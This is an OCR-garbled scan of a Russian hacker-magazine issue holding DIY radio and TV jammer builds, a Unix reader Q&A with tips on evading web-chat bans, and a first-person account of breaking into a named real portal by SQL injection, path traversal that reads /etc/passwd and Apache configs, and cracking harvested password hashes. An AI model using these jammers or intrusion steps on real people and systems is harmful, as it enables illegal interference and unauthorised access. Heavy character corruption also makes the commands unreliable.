ружить у посетителя передатчик или просто 
металлические предметы (как в аэропорту), а 
на выходе работает как мгновенный стиратель. 

Самостоятельно ты можешь обезопасить 
себя, по крайней мере, от шпионов-непро- 
фессионалов. В любительском варианте, ког- 
да для прослушки используются кустарные 
радиожучки и бытовые приемники, для про- 
тиводействия достаточно простейшей само- 
дельной глушилки. При этом глушатся, 
собственно, не жучки, а все вещательные 
приемники в небольшом радиусе, в пределах 
которого могут притаиться любопытные уши. 




.ІГП9ШИИРЫБ9 

«Глушение» является старейшим и популяр- 
нейшим приемом радиоэлектронной борьбы 
(РЭБ), а точнее, радиоэлектронного проти- 
водействия (РЭП). Встречаемые в популяр- 
ной литературе простые генераторы помех 
обычно работают непосредственно на часто- 
тах радиоприема. Такие устройства можно 
использовать как пробники-генераторы для 
настройки и проверки приемников. В роли 
глушилок они выступают исключительно для 
баловства, поскольку помеху приходится 
ручками настраивать на частоту подавляемо- 
го сигнала. Для контроля настройки нужно 
слышать заглушаемый приемник, местона- 
хождение которого по условию задачи обыч- 
но неизвестно. 

Предлагаемая ниже схема гораздо проще 
и эффективнее. Это обычный генератор сиг- 
нала, постоянно настроенный на 465 кГц - 
стандартную промежуточную частоту боль- 
шинства вещательных приемников, постро- 
енных по супергетеродинной схеме. Помеха 
на этой частоте с близкого расстояния од- 
нозначно попадает в приемник и забивает 
полезный сигнал. По дальнобойности сей 
постановщик помех уступает глушилкам на 
частоте сигнала, однако его не требуется пе- 
ренастраивать. 
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Схема представляет собой генератор на 
одном транзисторе (рис. 1). 

Готовый колебательный контур - катушка 
и конденсатор - позаимствован из тракта 
промежуточной частоты вещательного при- 
емника. Если использовать устройство в ста- 
ционарном варианте, можно в качестве ан- 
тенны подключить домашнюю батарею цент- 
рального отопления. В этом случае радиус 
глушения может достичь десятков метров. 

Однако злоупотреблять излучением в по- 
добном режиме не рекомендуется, посколь- 
ку в зоне поражения прекратят работу все 
вещательные приемники ни в чем не повин- 
ных соседей. При этом одна серьезная орга- 
низация вычислит тебя в момент и очень 
неслабо оштрафует. Я говорю о Россвязь- 
надзоре. Именно туда следует звонить, если 
в приемнике или телевизоре ты начинаешь 
ощущать постоянное присутствие помех неп- 
риродного происхождения. 

В то же время вещательный приемник все 
чаще становится настоящим оружием психи- 
ческого терроризма. Для его нейтрализации 
все средства хороши. Если в нашем устрой- 
стве снизить напряжение питания до уровня 



пары батареек от часов, а 
стандартную катушку индук- 
тивности заменить на более 
компактную самодельную, то 
можно заметно уменьшить 
размеры устройства. 

Самодельная катушка вы- 
полняется на ферритовом 
кольце К7х4х2 ЮОНН, обмот- 
ка содержит 72 витка провода 
ПЭВ-0,1 . В итоге аппарат 
можно без проблем спрятать 
в кармане рубашки. Радиус 
действия уменьшится при- 
мерно до полугора метров. Но этого вполне 
достаточно для избавления себя и окружаю- 
щих от прослушивания радио «Шансон» в так- 
си и маршрутках. Остерегайся делать это 
часто на одном и том же маршруте - тебя мо- 
гут заметить и заподозрить неладное ;). 

В кругу друзей и подруг ты со своей мик- 
роглушилкой можешь добиться авторитета 
техноэкстрасенса, одно приближение которо- 
го заставляет радиоприемники выть от ужаса. 

Если не хочется париться с катушками, 
можно раздобыть где-нибудь кварц на 465 кГц 
и воткнуть его вместо катушки. Стабильность 
частоты агрегата при этом сильно возрастет, 
однако питание нельзя будет уменьшить ниже 
4 вольт. Если кварц найти не удалось, можно 
собрать примитивный мультивибратор на ло- 
гической микросхеме (рис. 2). Там нет ни ка- 
тушек, ни кварцев, но для приличной мощнос- 
ти сигнала потребуется уже не менее пяти 
вольт. Сгодятся микросхемы К561ЛЕ5, 

564ЛА7, 564ЛЕ5 и аналоги из 176-ой серии. 

.і «ЧЕРНЫЙ КВРДРПТ»ИППЕВИЧП 

Раз уж мы от средств защиты перешли к 
средствам... активной самозащиты, немного 



^ РЭБИПИРЭП? 



Р адиоэлектронная борьба знакома по отголоскам советских 
времен, когда глушили «вражьи голоса» на коротких волнах. 
Между тем, это весьма серьезная военно-прикладная научная 
дисциплина боевого применения. Ей по силам увести вражес- 
кие ракеты и парализовать целую армию. В уходящем году в 
России отмечалось столетие отечественной РЭБ (помню-пом- 
ню, каку нас на военной кафедре бухали все по этому поводу :). 
- Прим. Симбиоза). Датой ее рождения считается 15 апреля 
1904 года, когда с помощью радиостанции броненосца «Потем- 
кин» была сорвана корректировка огня японских крейсеров. Это 
было первое в мировой истории применение радиоподавления 
- спустя всего 9 лет с момента изобретения самого радио Алек- 
сандром Степановичем Поповым! 

В задачи современной РЭБ входит не только воздействие на 
системы связи, навигации и управления, но и проникновение в 
информационные компьютерные сети врага посредством спе- 
циально обученных военных хакеров. Так что если на призывной 
комиссии ты признаешься, что почитываешь «Хакер», прями- 
ком можешь угодить в спецвойска. 

Кстати, изначально на заре становления РЭБ как самостоятель- 
ного направления применялся термин РЭП - радиоэлектронное 
противодействие. С нашествием хип-хопа это название было 
изменено на РЭБ, чтобы молодежь не воспринимала беспоря- 
дочные заклинания и странные движения руками за противо- 
действие электронным средствам противника ;). На самом де- 
ле РЭБ действительно выросла из РЭП и является более широ- 
ким понятием. 





Глушилка приемников в малогабаритном исполнении 



расширим собственный арсенал. Радиопри- 
емники народ слушает, в основном, в авто- 
мобилях. Дома у граждан, не имеющих 
компьютера, лучший друг - телевизор. Для 
познавательных экспериментов над своим 
или соседским электронным чудом предла- 
гаю изготовить простые, но очень функцио- 
нальные конструкции. 

На этот раз хитрить с помехой на проме- 
жуточной частоте мы не будем. Для телеви- 
зора это довольно геморройно, несколько 
промежуточных частот, к тому же с большой 
разницей у каналов звука и изображения. Да 
это и не требуется, так как объект воздей- 
ствия мы будем наблюдать непосредственно 
и ничто не помешает ручками подкрутить 
настройку на частоту приема. 

Высокочастотный генератор на одном 
транзисторе работает в метровом телевизи- 
онном диапазоне, перекрывая его практи- 
чески целиком (рис. 3). 

Настройка на нужный канал производится 
сердечником катушки и подстроечным кон- 
денсатором. Точные параметры катушки вы- 
держивать необязательно, лишь бы ее сер- 
дечник (ферритовый или латунный) без труда 
вкручивался и выкручивался в широких пре- 
делах. Мощности генератора хватает, чтобы 




А ИПр://ест.Ьу.ги/ 
еѵѵЬоок - книга Ма- 
рио де Арканжелиса 
«Радиоэлектронная 
война от Цусимы до 
Ливана и Фолклен- 
дских островов». 
Экстремальное зах- 
ватывающее чтиво, 
хотя и с небольши- 
ми историческими 
ляпами. 
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Простейшая глушилка телевизоров. «А у вас телевизор одну паутину по- 
казывает!» (с) Почтальон Печкин 



уверенно перекрыть полезный телевизион- 
ный сигнал в радиусе пары десятков метров. 

Какие эффекты мы будем при этом наб- 
людать? Стандартный телевизионный сигнал 
достаточно широкополосен - он занимает 
полосу частот шириной 8 МГц. Внутри этой 
ПОЛОСЫ несущие частоты звука и изображе- 
ния отстоят друг от друга на 6 МГц. Сигнал 
нашего генератора - узкополосный. Подкру- 
чивая катушку, ты можешь в пределах одно- 
го телеканала настроиться на частоту звука 
или изображения. 

В первом случае при точной настройке в 
телевизоре наступает гробовая тишина, как 
будто звук выключили вообще. Подкручивая 
сердечник дальше, ты отпускаешь звук и 
ПОЧТИ сразу налезаешь на изображение. 
Сильная помеха загоняет сигнал на запре- 
дельный уровень, который называется «чер- 
нее черного». И действительно, на экране в 
этот момент можно созерцать только «Чер- 
ный квадрат» Малевича. При этом телик по- 
дает признаки жизни исключительно посред- 
ством звука. 

Наш телевизионный генератор можно 
усовершенствовать. Во-первых, для увели- 
чения дальности действия добавляем ан- 
тенну, которая подключается к катушке 
связи 12, - два витка поверх контурной ка- 
тушки и . Во-вторых, на эмиттер транзис- 
тора можно подать управляющий видеосиг- 
нал, который промодулирует высокочастот- 
ную несущую генератора. Таким образом, 
наш генератор превратится в телепередат- 
чик (!), транслирующий картинку с компью- 
тера, видеокамеры, ОѴО-плеера и любого 
другого девайса, имеющего низкочастот- 
ный видеовыход. 

Но настоящим телемагнатом ты станешь, 
только когда к картинке прикрутишь звук. 

Это делается посредством добавления гене- 
ратора несущей звука с аудиовходом, напри- 
мер ПО схеме Мартынюка (рис. 4). Устрой- 
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Рисунок 5. Схема электромеханического искромета 



/ ИСТОРИЯ ИЗ ЖИЗНИ 



Р ебята из соседней комнаты в общаге имели обыкновение 
включать поутру телевизор, который в фоновом режиме 
скрашивал им раннее вставание обычной утренней пургой. 
Вставали они заметно раньше меня, поскольку им нужно было 
добираться до аэродрома, где они целый день с отвертками и 
ключами лазили под огромными ревущими машинами. Соотве- 
тственно, когда я просил соседей сделать телик потише, они 
честно делали все, что могли, сообразно особенностям своего 
профессионального слухового восприятия. Совсем не вклю- 
чать телевизор по утрам суровые парни были не в силах. Тогда 
я решил помочь людям порвать с порочным влечением к гово- 
рящему ящику. 

Как-то утром я покрутил катушку свежеспаянного генератора и 
услышал, как телевизор, надрывавшийся за стеной, резко 
смолк. Как настоящие мужчины, которые к тому же торопятся, 
лечат подобные неисправности? Правильно, через несколько 
секунд за стеной раздался сначала легкий шлепок, а потом 
мощный удар по печени - в область динамиков. Это «сработа- 
ло» - я привел телевизор в порядок. Через минуту «неисправ- 
ность» возникла вновь и снова была побеждена аналогичным 
образом. На следующее утро ситуация повторилась несколько 
раз. Так я начал вырабатывать у соседей условный рефлекс, то 
подкручивая, то откручивая катушку. Иногда со звука переклю- 
чался на изображение, контролируя его поведение по 
собственному телику. 

С каждым разом для восстановления работоспособности теле- 
визора от парней требовались все более увесистые тумаки и в 
большем количестве. Удары в различные болевые точки сыпа- 
лись градом, и в конце концов электронный друг на самом деле 
умер, не выдержав побоев. 

Теперь по утрам я мог спать спокойно. Однако за время увлека- 
тельных экспериментов я приноровился раньше вставать. А че- 
рез несколько дней соседи, не отягощенные радиоэлектрон- 
ным образованием, упросили меня посмотреть неисправный 
телик. Телевизор я им починил, но слегка ограничил его по 
громкости и взял с них слово включать на полчаса позже. 




ство имеет на два транзистора больше, 
но все равно остается простым в изготовле- 
нии. Резистором В6 можно подстроить про- 
межуточную частоту звука, которая в некото- 
рых импортных телевизорах отличается от 
нашего стандарта и составляет 455 кГц. 

Теперь твоя крутизна не знает границ. 

На свободном метровом канале ты сможешь 
транслировать собственные программы в 
пределах целого подъезда или даже дома. 
Увлекаться, однако, не следует. Могут нагря- 
нуть накачанные ребята из спецподразделе- 
ния все того же Россвязьнадзора и попро- 
сить предъявить лицензию на частное теле- 
вещание. Если они сочтут тебя радиохулига- 
ном, то оштрафуют и предупредят. По вто- 
рому разу оштрафуют больнее и конфискуют 
все твое электронное добро. 



ИСКРОМЕТНЫЕ ИДЕИ 

Под конец хочу рассказать о наиболее беско- 
мпромиссной технологии из практического 
арсенала домашних средств радиоэлектрон- 
ной борьбы. Универсальный помеховый агре- 
гат для электросети формирует искровые 
разряды, дающие радиопомеху в весьма ши- 
роком спектре частот. Хотя трескучая помеха 
активно излучается и в радиоэфир, наиболь- 
шее воздействие оказывается на бытовую ап- 
паратуру, включенную в параллельные или 
близкие к помеховому агрегату электрические 
розетки. Замечательное свойство искромета 
состоит в том, что он воздействует не только 
на радиоприемную технику - телевизоры, тю- 
неры, но и на низкочастотную аудиоаппарату- 
ру! Помеха проявляется в виде треска в акус- 
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тических системах. Причем навороченные су- 
перчувствительные хай-энды куда более уяз- 
вимы, чем примитивные магнитолы. 

Устройство агрегата крайне простое и 
сердитое. По сути, он похож на доистори- 
ческие искровые передатчики Попова, кото- 
рые использовались российским флотом во 
время первого в мировой истории примене- 
ния целенаправленных помех в Порт-Артуре 
сто лет назад. Центральной деталью являет- 
ся мощное телефонное реле типа РКМП, ко- 
торое повсеместно продается среди старых 
неликвидов и стоит около сто рублей, пото- 
му что в нем немало серебра и прочих цвет- 
ных металлов (рис. 5). 

Питающее напряжение гасится мощным 
резистором с 220 до 27 вольт, затем вып- 
рямляется диодом и подается на обмотку 
реле через его же размыкающие контакты. 
Срабатывание реле вызывает его обесточи- 
вание и возвращение контактов в исходное 
состояние, после чего цикл повторяется. Та- 
ким образом, реализуется электромехани- 
ческое автоколебание, похожее на работу 
зуммера. Мощные контакты с частотой около 




100 Гц прерывают весьма 
приличный ток, в резуль- 
тате чего между ними об- 
разуется искровый раз- 
ряд. Помеха по цепи пи- 
тания идет в сеть и излу- 
чается в эфир. 

Агрегат, как нетрудно 
догадаться, пожароопа- 
сен. Кроме того, что он 
искрит, в нем неслабо 
нагревается резистор, ко- 
торый для большего рас- 
сеяния мощности можно 
заменить двумя по 5,6 кОм, включенными па- 
раллельно. Устройство нужно монтировать на 
шасси из негорючего материала. По тем же 
причинам агрегат не следует надолго остав- 
лять включенным, особенно без присмотра. В 
отличие от описанных выше электронных ге- 
нераторов «двойного назначения», это устрой- 
ство выполняет однозначно деструктивную 
функцию. Поэтому его использование следует 
ограничить ознакомительными или исследо- 
вательскими целями, например, для испыта- 
ний помехоустойчивости аудиоаппаратуры. 

При этом надо заметить, что некоторые ста- 
рые пылесосы выдают не меньший уровень 
искровых помех. 

А ИОПЧР-Р-РТЬ! 

С основными источниками информационного 
загрязнения в быту мы разобрались. Чего бы 
напоследок еще такого прищучить? Ну как же, 
точно! Главный монстр-пожиратель душ, мис- 
тер сотовый телефон! Маленькие карманные 
хищники буквально наводнили нашу планету. 
Во всем мире спецы по радиоэлектронной 
борьбе спешно воздвигают линии обороны 
против всепроникающих мобильников. 

Во многих странах запреты на пользование 
сотовыми трубками распространяются на аэ- 
ропорты, театры, больницы, рестораны и дру- 
гие общественные места. Однако кодирован- 
ные сигналы цифровых сотовых стандартов не 
так-то просто задавить помехой. Особенно 
тяжко обстоит дело с СОМА, который в Рос- 
сии, в частности, представлен оператором 
Зкуііпк. Обладая некоторой смекалкой, можно 



в домашних условиях озадачить своего мо- 
бильного друга, но лишь на минимальных рас- 
стояниях. Впрочем, это тема отдельной статьи. 

На профессиональном фронте оборудова- 
ние для подавления сотовых стоит недеше- 
во. Так, например, постановщик помех 
МиіеТопе гонконгской фирмы Сбатріоп 
Тесбпоіоду Ноісііпдз, покрывающий площадь 
750 м^ поставляется по цене 1 600 долларов 
за штуку. Разработчики утверждают, что в их 
агрегате реализованы военные противора- 
кетные технологии. Одна из стран Ближнего 
Востока заказала 1 50 000 помеховых аппа- 
ратов для своих храмов. 

С появлением в мобильниках фото- и ви- 
деокамер, помимо раздражающих звонков, 
возникла другая напасть - вторжение в част- 
ную жизнь граждан и проблемы корпоратив- 
ной конфиденциальности. Снимают везде - в 
магазинах, на военных объектах, в техноло- 
гических производственных зонах, в зале су- 
да, на заседании парламента, на пляжах, в 
раздевалках и саунах... 

Встроенные камеры - штуки автономные, 
им всякие там глушилки по барабану. Можно 
попробовать затруднить пересылку изобра- 
жения в реальном времени, и только. Впро- 
чем, умельцы из компании ІсеЬегд Зузіетз 
(ѵѵш.ісеЬегд$у$Іеп8.со.ик) нашли лазейку. Пере- 
датчик Заіе Наѵеп излучает не помеху, 
а сигнал со специальной программой на 
^2МЕ. Если хозяин не озаботился безопас- 
ностью своего мобильника, приложение по- 
падает в телефон и активирует команду при- 
нудительного отключения видеокамеры. 

^ВЗРКПЮЧЕНИЕ 

Этим материалом я заканчиваю обзор шпио- 
нских штучек из серии «Сделай сам». Как 
колко подмечают некоторые из вас в пись- 
мах в редакцию, здесь не «Техника - моло- 
дежи». Но помни, настоящий зионецхотя бы 
раз держал в руке паяльник. Знание азов ра- 
диоэлектроники дает тебе неоспоримое пре- 
имущество в деле оседлания хай-тека. Тех- 
ника - хитрый соперник, бросающий челове- 
честву вызов. Узнав больше о своем против- 
нике сейчас, ты при случае легко уложишь 
его на обе лопатки. ЗП 







НУ и ГДЕ мои КРЯКЕР ИНТЕРНЕТА? 



А ТЫ ЗАПУСТИ .ЕХЕ-ШНИК ИЗ АТТАЧА! 



НЕ ВЕДИСЬ НА ВСЕ ПОДРЯД, ЧИТАЙ ѴІѴІѴ. ХАКЕР. ВО 










ф 



Когда я копирую из МТРЗ на линуксовый раз- 
дел, то права доступа к файлам автоматически 
изменяются на -ьх. Меня это немного раздра- 
жает. Что посоветуешь? 

Да, есть такая проблема. Выполняй в терминале: 



Задавая вопросы, конкретизируй их. 
Давай бопьше данных о систеие, 
вписывай абсвпютнв все, чтв ты знаешь 
о ней. Это ине поможет ответить на твои 
вопросы и указать твои ошибки. 

И не стоит задавать вопросов, вроде 
«Как споиать шшш-сервер?» или 
вообще просить у йена «халявного» 
Іпіегпеі'а. Я все равнв не дам, я жадный 



% Ш(] . -іуре \ -ргіпШ I хагд$ -О сіітосі 644; ШсІ . -іуре (1 -ргіпШ | хагд$ -О сіітосі 755 

Чтобы постоянно не вводить такую длинную комбинацию, можешь создать для 
оболочки следующий псевдоним: 

$ ѵі -/.Ьазіігс 

аІіа$ ту7іх='[іп(] . -Іуре \ -ргіпШ | хагд$ -О сішіосі 644; [іпсі . -Іуре (1 -ргіпШ 1 хагд$ -О сіішос] 755' 



( 5 ) 

>3/ Нужна ваша помощь! У меня на машинке кру- 
тится ЗдиісІ и почтовая связка ЗепсІтаіІ -ь 
РгостаіІ -ь РораЗсІ. Ядро моей РгееВЗО панику- 
ет даже при получении письма с прикрепленны- 
ми файлами! Кернел пишет иѵт зѵѵар и целую 
кучу отладочной информации. Где же эта хвале- 
ная надежность, устойчивость и стабильность 
РгееВЗО? 




(I) Очень прошу, расскажите в двух словах, чем 
отличается формат почтового ящика тЬох от 
таіісііг. 

I II I Принципиальное отличие заключается в том, что при использовании 

тЬох вся почта для каждого пользователя сохраняется в одном файле, 
новые сообщения просто присоединяются к старым в пределах этого файла. 
При использовании таіісііг почтовый ящик представлен в виде разветвленного 
каталога (как минимум, содержащего поддиректории Ітр, пеѵѵ и сиг), где каж- 
дому письму соответствует свой файл следующего формата: время лостав- 
ки.уникальный_идентификатор_процесса.имя_хоста. Формат таіісііг считается 
более предпочтительным из-за возможности использования совместного дос- 
тупа к каталогам почты через МР8 и отсутствия проблем с блокировкой фай- 
лов. Но и он не лишен недостатков: каждое сообщение сохраняется в отдель- 
ном файле, поэтому потребляется гораздо большее количество іпобез, чем при 
использовании тЬох, плюс некоторые транспортные агенты, например 
ЗепсІтаіІ, и почтовые клиенты, например Ріпе, штатно (без біііу Іпаскз) до сих 
пор не умеют работать с этим форматом. Бенчмаркинг и вопросы безопаснос- 
ти здесь не рассматриваю, так как это займет целую статью. 



Ф Все очень просто. Для хранения кэшируемых объектов твоя прокся 

захватила слишком много оперативной памяти и свопа. Оставшихся 
системных ресурсов не хватает даже на то, чтобы обработать входящую поч- 
ту (при доставке ргостаіі не использует временные файлы и грузит в ОЗУ 
письмо с аиачментом целиком). Рекомендации здесь следующие: в конфиге 
здиісі.соп^ потвикай значения директив сасіпе тет и сасіпе сііг, добавь второй 
зѵѵар (напомню, что файл подкачки должен находиться на разделе, смонтиро- 
ванном без включенного механизма ЗоШ Іірсіаіез) и по возможности установи 
еще одну планку памяти. 



я себе прикупил новый винт. Подскажи, как 
можно померить его производительность в 
Упіх. 



Перво-наперво посмотри на вывод команды сітезд. Верно ли ядро 
распознало новое устройство, правильно ли установило режимы работы, 
например ІЮМА-режим, если это ЮЕ'шный хард. Простейший бенчмаркинг 
можно произвести вот таким образом: 



% {]{] і7=/сІеѵ/Іі{]1) о7=/(]еѵ/ппІІ Ь$=64к соип1=500 

Специализированный тестинг выполняется с помощью утилиты ІОгопе 
Рііезузіет ВепсПтагк (ѵѵѵѵѵѵ.іогопе.огд). 




Захотелось попробовать оболочку Когп ЗбеІІ. 
Но по какой-то причине с помощью стрелок 
вверх и вниз я не могу получить доступ к ис- 
тории команд. ПосовеіѴйте, как это можно по- 
чинить. 



Ф 



Все дело в типе терминала и используемой комбинации клавиш. В 
файле “/.рго^ііе установи значение переменной окружения ТЕВМ рав- 
ным Ііпих, хіепп, хіепп-соіог или ѵѵзѵ125, а также задай редактирование кома- 
ндной строки в стиле ешасз: 

% ѵі -/.ргоНІе 



ехрогі ТЕКМ=х1егт-со1ог 
$еІ -о етас$ 



(I) 



(а) 



Логи моего ѵѵеЬ-сервера мало того что неве- 
роятно т>азрослись, так еще и забиты всякой 
ерундой - киддисы постоянно сканят, пытают- 
ся нащупать уязвимые места. Как мне им объ- 
яснить, что у меня Зизе Ііпих и Арасііе, а не 
ѴѴІП32 с дырявым N3? 



Объяснить ты им никак не сможешь. Но не беспокойся, предложу 
тебе на выбор три варианта решения существующей проблемы: 
О. Заставь Арасіпе не заносить в логи такие записи: 

# ѵі /е1с/арасііе/іі11р{].сопЕ 



в конфиге ВЗО-ядер присутствует параметр 
тахизегз. Ходят слухи, можно серьезно 
повысить быстродействие системы, увеличив 
этот параметр. Так ли это? 

По названию этого параметра можно с уверенностью сказать, что он 
отвечает за максимальное количество пользователей, которые могут 
одновременно находиться в системе. Однако это не так. С помощью ключево- 
го слова тахизегз задаются размеры некоторых внутренних таблиц ядра (мак- 
симальное число процессов, сетевых буферов и т.д.). Если ты не являешься 
«счастливым» обладателем постоянно загруженного сервера, то нет необходи- 
мости изменять дефолтное значение этого параметра. 




Ф 

Ф 



Можно ли проверить, сидит чел под реальным 
ІР или ныкается за прокси-сервером? 



Прежде чем думать самому, подари подобную возможность ѵѵПоіз- 
сервису, например ѵѵѵѵѵѵ.пре.пеі/апп.пеі. Там выйдет инфа по географии 
нужного ІР. Далее можно включать собственную голову, которая ответит, каким 
таким образом чел из Улан-Удэ толкается в Сети из-под адреса в Висконсине? 
Ответ на вопрос усложняется, если юзер использует какого-то большого про- 
ва вроде ѵѵѵѵѵѵ.аоі.сот и ходит по инету через проксик, установленный в подсети 
этого же провайдера. Здесь часто помогает скан портов хоста: если там отк- 
рыты 80/1080/3128/8080, то вероятнее всего, ты сканировал проке. Хотя мож- 
но поступить вообще по-тупому. Просто вписать ір хоста у себя в системе в ка- 
честве прокси-сервера и попробовать заюзать его. 



ЗеІЕпѵІЕ Керие$1_1Ш1 <регекспы> $спрЕ-кі(]{]іе 

Си$1отЕод /ѵаг/Іод/Іі11р{]/ассе$$_Іод сотЬіпесІ епѵЧзсгірЕ-кісІсІіе 

Альтернатива: можно перенаправлять все Ьодиз'ные запросы на другой ІІРІ, 
но это, сам понимаешь, жесткач: 

КесІігесЕМаЕсіі ^*\.(і{1а1еxе1{]II).* ііЕЕр://$иррогІтісго$оЕІсот 

о. Отслеживай все попытки коннектов, вручную заноси нарушителей в Ыаск- 
Іізі и блокируй доступ соответствующими правилами файрвола. 

3. Обратись к помощи систем обнаружения вторжений, а именно к Зпогі’у 
(ѵѵѵѵѵѵ.$погІогд). 

Про компрессию и ротацию логов по крону я уже не говорю :). 



Ф 

Ф 



Как можно обойти бан в веб-чате? 



Начнем с того, что большинство чатов банят юзеров по связке 
ІР-ьсоокіез. Первое, как водится, обходится использованием прокса 
или сменой собственного ІР (перезвонить прову или приписать себе чужой 
внешний ІР в локалке). Кукисы можно подтирать вручную, прочищая папку 
ѵѵіпсІоѵѵз\Іетр\соокіез, или вовсе запретить их использование в браузере. Од- 
нако это сильно ограничивает твою работу с другими сайтами, не исключая 
рассматриваемых чатов. В фильтрации кукисов на отдельных сайтах тебе по- 
может легендарный Ргохотіігоп (ѵѵѵѵѵѵ.ргохотіЕгоп.іпЕо). Есть целое семейство 
софта для фильтрации неправильных куков - аб Якегз. 



Ф Какой сканер наиболее эффективен в поиске проксей? 

Ф Сканить можно любым порт-сканером. Другое дело, что проверять на функциональность каждый проке в отдельности - еще тот геморрой. Тут поможет 

комплекс от ЗиіІАпопутоиз (ѵѵѵѵуѵ.$а6гу.сот/$игЕапопутои$). Софт состоит из нескольких отделений. Блок Ргоху Нипіег проведет массированный скан. Ргоху Апаіугег 
покажет всю инфу по найденным сервакам. Ргоху Саріиге заставит работать через проке любую софтину твоей системы. Ргоху РооІ же будет пробивать, жив 
ли еще проке или пора его списывать в отстой. 





И днажны ине захотелось проверить на прочность какой-нибудь крупный интернет-ресурс. Копебплсь с выбором жертвы, 

л посоветовапсл со своим виртуальным корефанои. Тот незамедлительно подсказал поковырлть раскрученный портал нн№.гіп.гн. 
Через каких-то три часа л доложил прилтепю, что сумел поднлть максимальные права на главном сервере Российской 
информационной сети. Такого увлекательного взлома у менл еще не было! 

ИСТОРИИ взпоио со счостпивыи концои 

.і СНОЧРПО УКОЛЬЧИК! 



Л 



9 же через две минуты после 
посещения стартовой страни- 
цы знаменитого ВІМ’а я на- 
шел первый баг. Точнее, не 
баг, а некоторую недоработку 
программистов. Самый верх- 
ний раздел в главном меню 
назывался «Желтые страни- 
цы». Ткнув в него мышкой, я выбрал «Армя- 
нские сайты» (сам не знаю, почему :)). Тут 
же нарисовался вывод скрипта іпбех.сді с 
параметром 2 =АМ. Недолго думая, я доба- 
вил в значение опции апостроф, обновил 
страницу и сразу же получил сообщение об 
ошибке в 801-запросе. Помимо описания 
бага, я узнал путь к ѴѴШ- каталогу, что да- 
ло мне представление о системе. Это был 
Ііпих, возможно, с дефолтной установкой 
ѵѵеЬ-сервера. Не изменяя бажного запроса, 
я прибавил к значению параметра г обще- 
известную строчку иМІОМ зеіесі 1/*. Ошиб- 
ка преобразилась: теперь сценарий ругался 
на несоответствие параметров. Все приз- 
наки указывали на возможность 501-инъек- 
ции, я даже подумывал, что это единствен- 
ный путь к сердцу сервера, но внезапно 
мое мнение изменилось. 




забил на зді-іпіесііоп. «В конце концов, - по- 
думал я, - если уж на сайте есть такой тупой 
баг, наверняка есть и что-то посерьезнее». 

И я снова отправился на главную страни- 
цу портала. После исследования десятка 
разделов главного меню обнаружилось, что 
девять из них бессильны перед 801-инжек- 
цией. Десятый ресурс, который помог мне 
добиться более весомых результатов, име- 
новался библиотекой ВІМ. В біті-коде глав- 
ной страницы я выцепил линк на бажный 
скрипт, позволяющий читать системные 
файлы. Он назывался босз.рі и принимал па- 
раметр ореп, который в идеале открывал ка- 
кой-то текстовый файл. Но у хакеров немно- 
го другое представление об идеале, поэтому 



. ./. ./. ./. ./. ./. ./. ./. ./. ./еіс/раззѵѵсі . Немного по- 
думав, сценарий вывел все учетные записи 
на сервере гіп.ги. Этот вывод был первым 
звеном длинной цепочки деструктивных 
действий. 

Я решил, что, помимо чтения файлов, 
скрипт умеет смотреть директории, но, увы, 
ошибся - ІоасІ.рІ наотрез отказался читать 
системные каталоги. Многие хакеры, оказав- 
шись в моей ситуации, тупо начали бы под- 
бирать пароль к одному из локальных серви- 
сов - ведь в руках уже был полный список 
системных пользователей. На самом деле 
тот же РТР позволял подключаться к ВІМ’у из 
любой точки Сети, но для меня брутфорс - 
это самый последний метод, я применяю 
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грубую силу только тогда, когда все осталь- 
ные способы не дали результатов. 

Надо было что-то придумать, чтобы дви- 
гаться дальше. Интуиция подсказывала мне, 
что админ при установке не стал лукаво 
мудрствовать и оставил всю структуру сис- 
темных каталогов дефолтной. Что-то внутри 
подталкивало меня к изучению содержимого 
сервера. Я не стал сопротивляться интуиции 
и попробовал прочесть при помощи бажного 
скрипта файл ../../../../../еіс/бНрсІ/../8ІіеІІ8. 
Возможно, это покажется странным - зачем, 
зайдя в директорию бйрсі, подниматься на 
уровень выше? Дело как раз в том, что я не 
был уверен вообще в наличии этой директо- 
рии и прямо это проверить не мог. По сути, 
если список возможных интерпретаторов из 
файла /еіс/8беІІ8 будет выведен на экран, 
это означает, что каталог /еіс/бйрсі сущест- 
вует. И я не ошибся, он действительно су- 
ществовал! Следующий запрос показал, что 
на сервере есть вполне читабельный 
Шрб.соп^. При его изучении я узнал, что 
сценарий сіосз.рі умеет разбивать вывод на 
отдельные участки (он представил Шрб.соп^ 
на пяти страницах). Временно забив на кон- 
фиг, я вернулся на Іііір://ІіЬ.гіп.ги и стал внима- 
тельно изучать скрипты. Вскоре был найден 
еще один глючный сценарий. Он назывался 




ІоасІ.рІ и находился в том же каталоге, что и 
сіосз.рі. Единственный плюс сценария был в 
том, что он умел сохранять файл на диске. 
Однако подлый скрипт также отказывался 
просматривать каталоги и имел более извра- 
щенный синтаксис - чтобы увидеть систем- 
ный файл, необходимо было составить зап- 
рос вида ../../../../../../раІІіДоДіІе%00.М. 

От нечего делать я сохранил конфиг апача 
на диске. Внимательно его изучив, я понял, 
что никаких упоминаний про .біраззѵѵсі там 
нет. Но сразу же нашел одну небольшую де- 
таль: к конфигу подключался еще один доку- 
мент - ѵігіиаі.соп^. Я незамедлительно сохра- 
нил и его. Конфигурационный файл вирту- 
альных хостов был интереснее бйрб.соп^ - 
здесь находились записи всех доменов, а 
также описывались админские ресурсы. Ес- 
тественно, что в этом файле я нашел множе- 
ство ссылок на .біраззѵѵсі-ііке файлы. Мне 
оставалось лишь объединить все пароли в 
один большой файл и скормить его любимо- 
му іобп-ібе-гіррег’у. 

.ІИГРЫСФОЙППИИ 

Изучив список 74 хэшей, я занес все аккаун- 
ты в файл гіп.абтіп. Затем лениво запустил 
Джона с параметром -зіпдіе. Результат был 
нулевым - пароли не поддались быстрой 
расшифровке. Тогда я заюзал большой анг- 
лийский словарь, но Джоник снова не при- 
нес никаких результатов. Казалось, что ситу- 
ация неразрешима, но тут мне пришло в го- 
лову использовать русский словарь - вдруг 
пароль имеет вид русского слова, набранно- 
го в английской раскладке. К моему удивле- 
нию, десять паролей сразу же были расшиф- 
рованы. Для начала такой результат меня 




^ ЧТОПОИОГПОИНЕПРИВЗПОИЕ? 

о. я не отчаялся, когда узнал, что бажный сценарий не выполня- 
ет команды и не читает каталоги. Построив логическую цепочку, 
я смог найти все пароли для закрытых директорий. 

Ѳ. Зная, что многие админы любят задавать пароль в виде рус- 
ского слова, набранного в английской раскладке, я применил 
атаку брутфорсом по заранее скачанному с ѵ\лл/ѵѵ.ра88ѵѵогс!8.ги 
словарику. В итоге за минуту я получил десять расшифрован- 
ных паролей. 

®. Даже файрвол не спас сервер от локальной атаки. Восполь- 
зовавшись простым способом обхода брандмауэра, с по- 
